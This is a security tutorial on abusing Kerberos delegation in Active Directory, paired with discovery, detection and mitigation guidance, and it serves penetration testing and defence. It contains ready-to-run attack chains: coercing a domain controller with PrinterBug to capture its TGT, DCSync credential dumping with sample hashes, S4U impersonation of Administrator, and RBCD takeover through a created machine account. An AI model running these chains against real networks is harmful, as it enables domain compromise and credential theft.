← Back to Index

Delegation Abuse

Trust is the decay product at the core of Active Directory. Delegation allows services to impersonate users - a necessary feature that becomes a critical vulnerability when misconfigured. Like isotopes with dangerously long half-lives, these misconfigurations persist for decades: from Windows 2000's unchecked power to modern RBCD attacks, delegation abuse remains one of the most reliable paths to domain compromise.

DEL

Understanding Kerberos Delegation

Delegation solves a real problem: when a user authenticates to a front-end service (like a web server), that service often needs to access back-end resources (like a database) on the user's behalf. Without delegation, the service would need its own credentials to access everything - destroying audit trails and requiring overly permissive access. Delegation allows the front-end to impersonate the user to the back-end. The problem is that each delegation type has progressively tried to constrain this power, and attackers have found ways to abuse each one.

Why Delegation Matters for Attackers

Delegation is fundamentally about impersonation. If you control an account configured for delegation, you can potentially impersonate other users - including Domain Admins - to access resources they can access. The scope of who you can impersonate and where you can impersonate them depends on the delegation type.

The four delegation types represent Microsoft's evolving attempts to make delegation safer:

  • 1
    Unconstrained Delegation (2000) Impersonate any user to any service. User's TGT cached in LSASS memory. Flag: TRUSTED_FOR_DELEGATION. (ADSecurity)
  • 2
    Constrained - Kerberos Only (2003) Delegate only to specific SPNs. Requires user's actual Kerberos ticket. S4U2Self returns non-forwardable tickets. Most secure constrained option. (hackndo)
  • 3
    Constrained - Protocol Transition (2003) Impersonate ANY user without them authenticating (just need username). Flag: TRUSTED_TO_AUTH_FOR_DELEGATION. S4U2Self returns forwardable tickets. More dangerous. (Hacker Recipes)
  • 4
    Resource-Based Constrained Delegation (2012) Target controls who can delegate to it. S4U2Proxy accepts non-forwardable tickets. Doesn't require Domain Admin. (Elad Shamir)
Four Types of Kerberos Delegation 1. UNCONSTRAINED (2000) Any User Service A Caches TGT in LSASS ANY Service No limit TRUSTED_FOR_ DELEGATION • TGT forwarded • Any service access • Most dangerous ☢ CRITICAL RISK "I can impersonate you ANYWHERE" DCs have this by default 2. CONSTRAINED - KERBEROS ONLY (2003) User Kerberos auth Service A Has user's ST (forwardable) Service B ✓ Service C ✓ msDS-AllowedTo DelegateTo • Requires Kerb auth • Limited SPNs • S4U2Self: non-fwd ✓ MOST SECURE KCD "I need YOUR ticket to delegate" No T2A4D flag - can't impersonate freely 3. CONSTRAINED - PROTOCOL TRANSITION (2003) Any User NTLM/Forms/etc Service A Uses S4U2Self → forwardable ST for ANY user! Service B ✓ Service C ✓ TRUSTED_TO_AUTH_ FOR_DELEGATION • Any auth protocol • S4U2Self: fwd ticket • Just need username ⚠ HIGH RISK "I can impersonate you without your ticket" Attacker only needs to compromise this account 4. RESOURCE-BASED (RBCD) (2012) Any User Service A (no special config needed) Resource B (OWNER) AllowedToAct: [Svc A] ✓ msDS-AllowedToAct OnBehalfOf... • On TARGET • No Domain Admin • Non-fwd OK! • Cross-domain Write access = pwned "I decide who can delegate TO me" Write to target's attribute → impersonation Key difference: Protocol Transition (T2A4D flag) allows S4U2Self to return forwardable tickets → impersonate ANY user Sources: Microsoft MS-SFU spec | Elad Shamir "Wagging the Dog" | hackndo.com | The Hacker Recipes

Evolution of delegation: four types with distinct security implications and attack surfaces

⚠️ The Core Problem
All four delegation types allow impersonating domain users (except those marked sensitive or in Protected Users). The key differences: Kerberos Only requires an actual forwardable ticket from the user. Protocol Transition can impersonate ANY user with just their username. The "improvement" across types is about limiting WHERE impersonation can happen and WHO can configure it - not WHO can be impersonated.
ERA

Evolution Timeline

Understanding when each delegation type was introduced helps explain why legacy environments often have dangerous configurations. Each iteration tried to address the security problems of its predecessor, but the older types remain enabled for backward compatibility.

Windows 2000
Unconstrained Delegation Introduced
The original implementation. When delegation was needed, Microsoft's solution was simple: cache the user's TGT on the service and let it request tickets to any service. At the time, the security implications weren't fully understood. This was the only option for 3 years.
Windows Server 2003
Constrained Delegation - Kerberos Only
Microsoft recognized TGT caching was dangerous. Introduced S4U extensions with two modes. Kerberos Only: requires actual Kerberos authentication from user. S4U2Self returns non-forwardable tickets. Most secure option - service can only relay existing Kerberos auth. (hackndo)
Windows Server 2003
Constrained Delegation - Protocol Transition
Protocol Transition: TRUSTED_TO_AUTH_FOR_DELEGATION flag allows S4U2Self to return forwardable tickets for ANY user - without them authenticating. Just need the username. More dangerous than Kerberos Only because attacker can impersonate anyone if they compromise the delegated account. (Hacker Recipes)
Windows Server 2012
Resource-Based Constrained Delegation
Shifted delegation from front-end to back-end resource. Key difference: S4U2Proxy accepts non-forwardable tickets. Configuration via msDS-AllowedToActOnBehalfOfOtherIdentity on the TARGET. Doesn't require Domain Admin - anyone with write access to target can configure. Works cross-domain. (Elad Shamir)
💡 Key Insight
All four delegation types still exist and are still used. Most enterprises have a mix, often with unconstrained delegation on legacy systems that "just need to work." The oldest and most dangerous types are often the most prevalent because they were the only options for years.
UNC

Unconstrained Delegation

The most dangerous delegation type. When a user authenticates to a service with unconstrained delegation, their TGT is sent to and cached on that service. The service can then impersonate that user to ANY other service in the domain. If you compromise a server with unconstrained delegation, you can steal TGTs and impersonate anyone who authenticates to it.

How It Works

When unconstrained delegation is enabled on a computer account, the KDC includes a copy of the user's TGT inside the service ticket (TGS) when the user authenticates. The service extracts this TGT and caches it in LSASS memory. The service can then use this TGT to request service tickets to any other service, fully impersonating the user.

Technical Details
AD Attribute: userAccountControl contains TRUSTED_FOR_DELEGATION flag
TGT Location: Cached in LSASS on the delegated server
Scope: User can be impersonated to ANY service
Configuration: Requires Domain Admin (SeEnableDelegationPrivilege)
Default: Domain Controllers have this enabled by default
Unconstrained Delegation Attack Flow User (Domain Admin) Has TGT KDC (DC) FILE-SERVER Unconstrained Delegation (COMPROMISED) Attacker Running Rubeus Domain Controller DCSync target 1. TGS 2. TGS with embedded TGT 3. Authenticates TGT cached 4. Extract TGT 5. Use DA TGT → DCSync ● Compromised/Attack ● Target/Goal

Domain Admin authenticates to compromised server → Attacker extracts TGT → Full domain compromise

The Attack: Coercion + Unconstrained = Domain Compromise

The real power of unconstrained delegation abuse comes when combined with coercion attacks. Instead of waiting for a Domain Admin to authenticate, attackers can force a Domain Controller to authenticate to the compromised server using PrinterBug, PetitPotam, or similar techniques. Since DCs have machine accounts with DCSync rights, capturing their TGT means game over.

Monitor for Incoming TGTs (Rubeus) Requires Admin on Delegated Host
# Start monitoring for incoming TGTs on compromised server
C:\> Rubeus.exe monitor /interval:5 /nowrap

[*] Action: TGT Monitoring
[*] Monitoring every 5 seconds for new TGTs

# In another window, trigger coercion (PrinterBug example)
$ python3 printerbug.py domain/user:[email protected] YOURSERVER.corp.local

# Rubeus captures the DC's TGT
[+] 1/14/2026 10:23:15 AM - Found new TGT:
  User         : [email protected]
  StartTime    : 1/14/2026 10:23:15 AM
  EndTime      : 1/14/2026 8:23:15 PM
  Base64       : doIFvjCCBbqgAwIBBaEDAgEW...
Linux Attack Chain (krbrelayx) From Attack Box
# Start krbrelayx listener with delegated account's keys
$ krbrelayx.py -aesKey <AES256_KEY_OF_COMPROMISED_ACCOUNT>

# Trigger authentication from DC
$ python3 printerbug.py corp/user:[email protected] attacker.corp.local

# krbrelayx captures and saves the TGT
[*] Got TGT for [email protected]
[*] Saving ticket to DC01$.ccache

# Use the captured TGT for DCSync
$ export KRB5CCNAME=DC01$.ccache
$ secretsdump.py -k -no-pass DC01.corp.local

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b21d7f6e3e0d3c6e4e8f0a9b8c7d6e5f:::

Identifying Unconstrained Delegation

Find accounts with unconstrained delegation using LDAP queries or PowerView. Domain Controllers will always appear (it's enabled by default) - focus on other servers.

Find Unconstrained Delegation Discovery
# PowerView
PS> Get-DomainComputer -Unconstrained | Select-Object name, dnshostname

# AD Module
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

# LDAP Filter
(userAccountControl:1.2.840.113556.1.4.803:=524288)

# Impacket findDelegation
$ findDelegation.py corp.local/user:password

# BloodHound Cypher
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
⚠️ Protected Users and Sensitive Accounts
Users in the Protected Users group or marked as "Account is sensitive and cannot be delegated" will NOT have their TGTs forwarded. However, the native Administrator (RID 500) account is NOT protected even if added to Protected Users - its TGT will still be forwarded (SensePost research). Domain Controllers are always vulnerable since their machine accounts cannot be added to Protected Users.
KCD

Constrained Delegation

Introduced in Windows Server 2003 as a safer alternative. Instead of caching TGTs, the service uses S4U (Service for User) Kerberos extensions to request tickets on behalf of users - but only to specific services listed in msDS-AllowedToDelegateTo. Sounds better, but there are still significant abuse paths.

How It Works

Constrained delegation uses two Kerberos extensions: S4U2Self and S4U2Proxy. S4U2Self allows a service to obtain a service ticket to itself on behalf of any user (without their password). S4U2Proxy takes that ticket and uses it to request a ticket to another service in the allowed list.

There are two modes: "Kerberos only" (S4U2Proxy only, requires the user to have already authenticated via Kerberos) and "Protocol Transition" (S4U2Self + S4U2Proxy, can impersonate users who authenticated via non-Kerberos means like NTLM or forms auth).

Technical Details
AD Attributes:
  • msDS-AllowedToDelegateTo (list of SPNs)
  • TRUSTED_TO_AUTH_FOR_DELEGATION flag (Protocol Transition)
Configuration: Requires Domain Admin or SeEnableDelegationPrivilege
Scope: Can impersonate any user to services in allowlist
Cross-Domain: Added in Server 2012 R2 via S4U2Proxy extensions (Microsoft docs)
Protocol Transition
With Protocol Transition
TrustedToAuthForDelegation = True

Service can use S4U2Self to get a forwardable ticket for ANY user, then S4U2Proxy to access allowed services. Most dangerous - attacker only needs to compromise the delegated account.

Attack Requirements
  • Control of account with protocol transition
  • Target user NOT in Protected Users
  • Target user NOT marked sensitive
Kerberos Only
Without Protocol Transition
TrustedToAuthForDelegation = False

S4U2Self returns non-forwardable tickets. Requires an actual forwardable ticket from a user. Harder to exploit directly, but can be bypassed using RBCD to the same account.

Attack Requirements
  • Need forwardable ticket from target user
  • Or: Chain with RBCD for bypass
  • Or: Wait for legitimate Kerberos auth

The SPN Substitution Trick

A critical detail: the service name (SPN) in a Kerberos ticket is not cryptographically protected. If you get a ticket for CIFS/server, you can modify it to HTTP/server or LDAP/server. This means if constrained delegation allows access to ANY service on a target, you effectively have access to ALL services on that target (as long as they use the same service account).

Exploit Constrained Delegation with Protocol Transition Rubeus
# If you have the password/hash of account with constrained delegation
C:\> Rubeus.exe s4u /user:websvc /rc4:<NTLM_HASH> /impersonateuser:Administrator ^
    /msdsspn:cifs/fileserver.corp.local /altservice:ldap /ptt

[*] Action: S4U
[*] Building S4U2self request for: '[email protected]'
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'cifs/fileserver.corp.local'
[+] S4U2proxy success!
[*] Substituting service name to: 'ldap/fileserver.corp.local'
[+] Ticket successfully imported!

# If fileserver is a DC, you now have LDAP access as Administrator
# Can DCSync or perform other LDAP operations
Impacket S4U Attack Linux
# Get ticket impersonating Administrator to CIFS, substitute to LDAP
$ getST.py -spn cifs/dc01.corp.local -impersonate Administrator \
    -altservice ldap/dc01.corp.local -hashes :<NTLM_HASH> \
    corp.local/websvc

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

# Use the ticket
$ export KRB5CCNAME=Administrator.ccache
$ secretsdump.py -k -no-pass dc01.corp.local
Find Constrained Delegation Discovery
# PowerView - find accounts with constrained delegation
PS> Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
PS> Get-DomainUser -TrustedToAuth | Select-Object name, msds-allowedtodelegateto

# AD Module
PS> Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
    -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation

# LDAP Filter for Protocol Transition
(userAccountControl:1.2.840.113556.1.4.803:=16777216)

# Impacket
$ findDelegation.py corp.local/user:password -target-domain corp.local

# BloodHound Cypher
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate
💡 High-Value Targets
Look for constrained delegation to Domain Controllers (especially LDAP or CIFS services) or to services on sensitive servers. If you find msDS-AllowedToDelegateTo containing "ldap/dc01.corp.local" or "cifs/dc01.corp.local", compromising that account gives you a direct path to DCSync.
RBCD

Resource-Based Constrained Delegation

RBCD flips the delegation model: instead of the front-end service declaring where it can delegate, the back-end resource declares who can delegate TO it. This is configured via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target. The security improvement is that resource owners control their own delegation trust. The security problem is that anyone who can write to that attribute can grant themselves delegation rights.

How It Works

The target computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute contains a security descriptor listing which accounts can delegate to it. When set, those accounts can use S4U2Self and S4U2Proxy to impersonate users to any service on that target - even without the TrustedToAuthForDelegation flag.

Key insight: RBCD always allows protocol transition. Even if the attacking account doesn't have TrustedToAuthForDelegation set, S4U2Proxy will accept non-forwardable tickets when RBCD is configured.

Technical Details
AD Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity (on target)
Configuration: Requires write access to target's attribute (NOT Domain Admin)
Scope: Can impersonate any user to ANY service on that specific target
Cross-Domain: Works across domain boundaries
Introduced: Windows Server 2012

The RBCD Attack Pattern

The classic RBCD attack requires: (1) an account with an SPN that you control (usually a computer account you create), and (2) write access to the target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute. With these, you add your controlled account to the target's RBCD list, then use S4U to impersonate a Domain Admin to any service on that target.

Resource-Based Constrained Delegation Attack Attacker Has GenericWrite on Target FAKE01$ Created by attacker KDC (DC) TARGET-SERVER msDS-AllowedToActOn... BehalfOfOtherIdentity: [FAKE01$] (written by attacker) 1. Create FAKE01$ (MachineAccountQuota) 2. Write RBCD attr 3. S4U2Self 4. S4U2Proxy 5. Access TARGET-SERVER as Domain Admin CIFS, LDAP, HTTP - any service works

RBCD attack: write to target's attribute, then S4U to impersonate any user to that target

Full RBCD Attack Chain Privilege Escalation
# Step 1: Check MachineAccountQuota (default is 10)
PS> Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | `
    Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

# Step 2: Create a computer account (using PowerMad)
PS> New-MachineAccount -MachineAccount YOURCOMPUTER -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

# Step 3: Get the SID of your new computer
PS> Get-ADComputer YOURCOMPUTER | Select-Object -ExpandProperty SID

# Step 4: Set RBCD on target (requires GenericWrite/GenericAll on target)
PS> Set-ADComputer TARGET-SERVER -PrincipalsAllowedToDelegateToAccount YOURCOMPUTER$

# Step 5: Verify
PS> Get-ADComputer TARGET-SERVER -Properties PrincipalsAllowedToDelegateToAccount

# Step 6: Get the hash of your computer's password
PS> Rubeus.exe hash /password:Password123!
[*] rc4_hmac: 64F12CDDAA88057E06A81B54E73B949B

# Step 7: S4U attack
PS> Rubeus.exe s4u /user:YOURCOMPUTER$ /rc4:64F12CDDAA88057E06A81B54E73B949B ^
    /impersonateuser:Administrator /msdsspn:cifs/TARGET-SERVER.corp.local /ptt

[+] Ticket successfully imported!

# Step 8: Access the target
PS> dir \\TARGET-SERVER.corp.local\c$
RBCD via Impacket Linux
# Create computer account
$ addcomputer.py -computer-name 'YOURCOMPUTER$' -computer-pass 'Password123!' \
    -dc-ip 10.10.10.10 corp.local/user:password

# Configure RBCD (requires write access to target)
$ rbcd.py -delegate-to 'TARGET-SERVER$' -delegate-from 'YOURCOMPUTER$' \
    -action write -dc-ip 10.10.10.10 corp.local/user:password

# Get impersonation ticket
$ getST.py -spn cifs/TARGET-SERVER.corp.local -impersonate Administrator \
    -dc-ip 10.10.10.10 corp.local/YOURCOMPUTER$:Password123!

# Use the ticket
$ export KRB5CCNAME=Administrator.ccache
$ psexec.py -k -no-pass TARGET-SERVER.corp.local

Finding RBCD Attack Opportunities

RBCD attacks require write access to the target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This typically comes from: GenericAll, GenericWrite, WriteProperty, or WriteDacl permissions on the target computer object. Also check: computer accounts often have write access to themselves, and accounts that created a computer have some control over it.

Find RBCD Attack Paths Discovery
# Find computers where current user has GenericWrite
PS> Find-InterestingDomainAcl -ResolveGUIDs | `
    Where-Object {$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl"} | `
    Where-Object {$_.ObjectType -eq "computer"}

# Check existing RBCD configurations
PS> Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne "$null"} `
    -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

# BloodHound - find paths to RBCD
MATCH p=shortestPath((u:User)-[*1..]->(c:Computer)) 
WHERE u.name =~ '(?i)youruser.*' 
AND ANY(r IN relationships(p) WHERE type(r) IN ['GenericAll','GenericWrite','Owns','WriteDacl'])
RETURN p
⚠️ MachineAccountQuota
By default, any authenticated user can create up to 10 computer accounts in the domain (ms-DS-MachineAccountQuota). This provides the "account with SPN" needed for RBCD attacks. Setting this to 0 significantly limits RBCD attack surface, though attackers can still use existing accounts they control that have SPNs.
S4U

S4U Extensions Deep Dive

S4U2Self and S4U2Proxy are the Kerberos protocol extensions that make constrained delegation and RBCD work. Understanding them is essential for both exploiting and defending against delegation attacks.

S4U2Self (Service for User to Self)

Allows a service to obtain a service ticket to ITSELF on behalf of any user, without that user's password or interaction. The service asks the KDC: "Give me a ticket to myself, as if User X had authenticated to me."

The resulting ticket will be forwardable only if the service has the TrustedToAuthForDelegation flag (protocol transition) OR if RBCD is configured. Without these, the ticket is non-forwardable and can't be used with S4U2Proxy for traditional constrained delegation.

S4U2Proxy (Service for User to Proxy)

Takes a service ticket (usually from S4U2Self or from actual user authentication) and uses it to request a ticket to another service on behalf of that user. The KDC checks:

  • 1
    For Constrained Delegation Is the target SPN in the requester's msDS-AllowedToDelegateTo? Is the input ticket forwardable?
  • 2
    For RBCD Is the requester in the target's msDS-AllowedToActOnBehalfOfOtherIdentity? (Forwardable flag not required!)
Aspect Unconstrained KCD - Kerberos Only KCD - Protocol Transition RBCD
Introduced Windows 2000 Server 2003 Server 2003 Server 2012
AD Flag / Attribute TRUSTED_FOR_DELEGATION msDS-AllowedToDelegateTo (no T2A4D) TRUSTED_TO_AUTH_FOR_DELEGATION + msDS-AllowedToDelegateTo msDS-AllowedToActOnBehalfOfOtherIdentity
Configuration Location On delegating service On delegating service On delegating service On target resource
Who Can Configure Domain Admin Domain Admin Domain Admin Anyone with write access to target
What's Cached/Used User's TGT in LSASS User's forwardable ST S4U2Self generates forwardable ST S4U2Self + S4U2Proxy (non-fwd OK)
User Must Authenticate? Yes (Kerberos) Yes (Kerberos) No - just need username No - just need username
S4U2Self Forwardable? N/A (uses TGT) No Yes No (but S4U2Proxy accepts it)
Target Services ANY service Specific SPNs only Specific SPNs only Only the configured target
Cross-Domain Yes Server 2012 R2+ (MS) Server 2012 R2+ (MS) Yes
Risk Level CRITICAL MODERATE (most secure KCD) HIGH HIGH (write access = pwned)
Primary Attack Compromise service → dump cached TGTs Need user's actual ticket OR RBCD-to-self bypass Compromise service → impersonate ANY user Write to target → impersonate to that target
Key Reference ADSecurity hackndo Hacker Recipes Elad Shamir
💡 Critical Distinction: Kerberos Only vs Protocol Transition
The key difference is the TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D) flag. With Protocol Transition, an attacker who compromises the service can impersonate ANY user (except Protected Users) just by knowing their username. With Kerberos Only, the attacker needs the user's actual forwardable ticket - much harder to obtain. (notsoshant)
ID

Finding Delegation in Your Environment

Comprehensive discovery of delegation configurations is the first step in both attack and defense. Here are the key queries and tools for identifying all delegation types.

Complete Delegation Discovery Script PowerShell
# Unconstrained Delegation (excluding DCs)
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -ne 516} `
    -Properties TrustedForDelegation, ServicePrincipalName |
    Select-Object Name, DNSHostName, ServicePrincipalName

# Constrained Delegation with Protocol Transition
PS> Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null" -and TrustedToAuthForDelegation -eq $true} `
    -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation |
    Select-Object Name, @{N='AllowedTo';E={$_.'msDS-AllowedToDelegateTo'}}

# Constrained Delegation without Protocol Transition (Kerberos Only)
PS> Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null" -and TrustedToAuthForDelegation -eq $false} `
    -Properties msDS-AllowedToDelegateTo |
    Select-Object Name, @{N='AllowedTo';E={$_.'msDS-AllowedToDelegateTo'}}

# Resource-Based Constrained Delegation
PS> Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne "$null"} `
    -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
    Select-Object Name, @{N='AllowedFrom';E={
        $_.PrincipalsAllowedToDelegateToAccount | ForEach-Object { $_.Name }
    }}

# Accounts sensitive for delegation (protected from impersonation)
PS> Get-ADUser -Filter {AccountNotDelegated -eq $true} | Select-Object Name
Impacket findDelegation Linux
# Find all delegation types in one command
$ findDelegation.py corp.local/user:password -dc-ip 10.10.10.10

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

AccountName      AccountType  DelegationType                    DelegationRightsTo
---------------  -----------  --------------------------------  ---------------------------
DC01$            Computer     Unconstrained                     N/A
YOURSERVER$      Computer     Unconstrained                     N/A
WEBSVC           User         Constrained w/ Protocol Trans.    cifs/fileserver.corp.local
SQLSVC$          Computer     Constrained                       MSSQLSvc/sql01.corp.local
💡 BloodHound Integration
BloodHound automatically collects and visualizes delegation relationships. Use queries like "Find Computers with Unconstrained Delegation" and "Shortest Paths to High Value Targets" to identify attack paths involving delegation. The edge types "AllowedToDelegate" and "AllowedToAct" show constrained and RBCD relationships respectively.
DEF

Mitigations

Delegation is a necessary feature that can't simply be disabled. The goal is to minimize the attack surface by removing unnecessary delegation, protecting sensitive accounts, and monitoring for abuse.

Quick Wins (Do These Now)

  • 1
    Eliminate Unconstrained Delegation (except DCs) Audit all non-DC accounts with unconstrained delegation. Migrate to constrained delegation or RBCD. There's rarely a legitimate need for unconstrained delegation on non-DC systems in modern environments.
  • 2
    Protect Sensitive Accounts Add Domain Admins, Enterprise Admins, and service accounts with privileged access to Protected Users group. Mark critical accounts as "Account is sensitive and cannot be delegated."
  • 3
    Set MachineAccountQuota to 0 Prevents standard users from creating computer accounts, blocking a key RBCD attack requirement. Create computer accounts through proper provisioning processes instead.
Implement Quick Wins PowerShell
# Set MachineAccountQuota to 0
PS> Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}

# Mark account as sensitive (cannot be delegated)
PS> Set-ADUser -Identity "admin.user" -AccountNotDelegated $true

# Add to Protected Users group
PS> Add-ADGroupMember -Identity "Protected Users" -Members "admin.user"

# Remove unconstrained delegation from a server
PS> Set-ADComputer -Identity "YOURSERVER" -TrustedForDelegation $false

# Clear RBCD configuration from a target
PS> Set-ADComputer -Identity "TARGET-SERVER" -PrincipalsAllowedToDelegateToAccount $null

Detection and Monitoring

Monitor for delegation abuse using Windows Event Logs and network monitoring:

  • +
    Event ID 4769 (Kerberos Service Ticket) Watch for Transited Services field populated (indicates S4U2Proxy). Multiple 4769 events in quick succession from same source may indicate S4U attack chain.
  • +
    Event ID 5136 (Directory Object Modified) Alert on changes to msDS-AllowedToActOnBehalfOfOtherIdentity - someone configuring RBCD.
  • +
    Event ID 4741 (Computer Account Created) Monitor for unexpected computer account creation, especially if created by non-admin users.
⚠️ Credential Guard Limitation
Windows Credential Guard (available on Windows 10/Server 2016+) prevents unconstrained delegation from working because it protects TGTs from being extracted from memory. However, it doesn't protect against constrained delegation or RBCD attacks since those use S4U extensions rather than cached TGTs. Microsoft recommends KCD and RBCD as compatible alternatives.
MIG

Migration Path: Toward Safer Delegation

Moving from unconstrained delegation to more secure alternatives requires understanding application requirements and testing thoroughly. Here's a practical approach to reducing delegation risk.

Step 1: Inventory and Document

Before changing anything, document every delegation configuration and the business purpose it serves. Many legacy configurations exist because "it was the only way" in 2003 - there may now be better options.

Step 2: Prioritize Migration Targets

Focus on highest-risk configurations first:

  • !
    Critical: Unconstrained delegation on non-DCs Migrate to constrained delegation with explicit SPN allowlist. Test thoroughly as this changes how tickets are obtained.
  • !
    High: Constrained delegation to sensitive services If delegation targets DC services (LDAP, CIFS on DCs), consider if this is truly necessary. Can the application use a service account with direct access instead?
  • !
    Medium: Protocol transition where not needed If users always authenticate via Kerberos, disable protocol transition to prevent S4U2Self abuse.

Step 3: Implement Constrained Delegation Properly

When migrating from unconstrained to constrained delegation:

  • 1
    Use specific SPNs, not wildcards Allow "MSSQLSvc/sql01.corp.local:1433" rather than all services on sql01. Include port numbers where possible.
  • 2
    Use dedicated service accounts Don't run services as computer accounts if avoidable. Dedicated accounts make it easier to audit and restrict delegation.
  • 3
    Avoid protocol transition unless required If users authenticate via Kerberos, "Kerberos only" mode is safer than "Use any authentication protocol."

Step 4: Consider RBCD for Cross-Domain Scenarios

RBCD is the only delegation type that works across domain boundaries (in the same forest). If you have multi-domain requirements that currently use unconstrained delegation, RBCD may be the answer. However, ensure you:

  • +
    Control who can write to RBCD attributes Audit permissions on computer objects. Remove unnecessary GenericWrite/GenericAll from users and groups.
  • +
    Set MachineAccountQuota to 0 Or strictly control who can create computer accounts.
✓ Goal State
Ideal configuration: No unconstrained delegation except on Domain Controllers. Constrained delegation with minimal SPN allowlists and no protocol transition where possible. RBCD only where needed for cross-domain scenarios, with strict control over who can configure it. All privileged accounts protected from delegation entirely via Protected Users or sensitive flag.
REF

References & Further Reading

Primary sources used in creating this guide. These authors did the hard work of discovering, documenting, and building tools for these techniques.

Microsoft Documentation

  • Kerberos Constrained Delegation Overview Microsoft Learn - Official documentation on KCD and RBCD, including S4U protocol extensions and cross-domain support.
  • [MS-SFU] Service for User Protocol Extensions Microsoft Protocol Docs - Technical specification for S4U2Self and S4U2Proxy.
  • Protected Users Security Group Microsoft Learn - Members cannot delegate with unconstrained or constrained delegation. Note: RID 500 Administrator is exempt.
  • Credential Guard Known Issues Microsoft Learn - Documents that Credential Guard blocks unconstrained delegation but allows KCD and RBCD.

Research & Discovery

  • Sean Metcalf (@PyroTek3) - Unconstrained Delegation adsecurity.org - "Active Directory Security Risk #101: Kerberos Unconstrained Delegation" - foundational research on unconstrained delegation risks.
  • Elad Shamir (@elaboratescene) - Wagging the Dog Shenanigans Labs - "Abusing Resource-Based Constrained Delegation to Attack Active Directory" - the definitive RBCD research paper.
  • Will Schroeder (@harmj0y) - S4U2Pwnage Medium - Deep dive into S4U2Self/S4U2Proxy abuse for constrained delegation attacks.
  • Dirk-jan Mollema (@_dirkjan) - krbrelayx dirkjanm.io - "Relaying Kerberos - Having fun with unconstrained delegation" - krbrelayx toolkit and research.
  • SensePost - Protected Users RID 500 Exception sensepost.com - Research showing RID 500 Administrator is not protected by Protected Users group for delegation.
  • hackndo - Kerberos Delegation hackndo.com - Excellent visual explanation of constrained delegation and protocol transition with S4U extensions.
  • The Hacker Recipes - Constrained Delegation thehacker.recipes - Comprehensive attack techniques for KCD with and without protocol transition.
  • notsoshant - Attacking Constrained Delegation notsoshant.io - Clear explanation of Protocol Transition vs Kerberos Only attack differences.
  • Sean Metcalf (@PyroTek3) - ADSecurity Kerberos Delegation adsecurity.org - Defines 4 types: Unconstrained, Constrained Kerberos Only, Protocol Transition, RBCD.

Tools Referenced

  • Rubeus GhostPack/Rubeus - Windows Kerberos abuse toolkit by @harmj0y. S4U, TGT monitoring, ticket manipulation.
  • Impacket fortra/impacket - Python library for network protocols. getST.py, findDelegation.py, rbcd.py, addcomputer.py.
  • PowerMad Kevin-Robertson/Powermad - PowerShell MachineAccountQuota and DNS exploitation tools.
  • krbrelayx dirkjanm/krbrelayx - Kerberos unconstrained delegation abuse toolkit.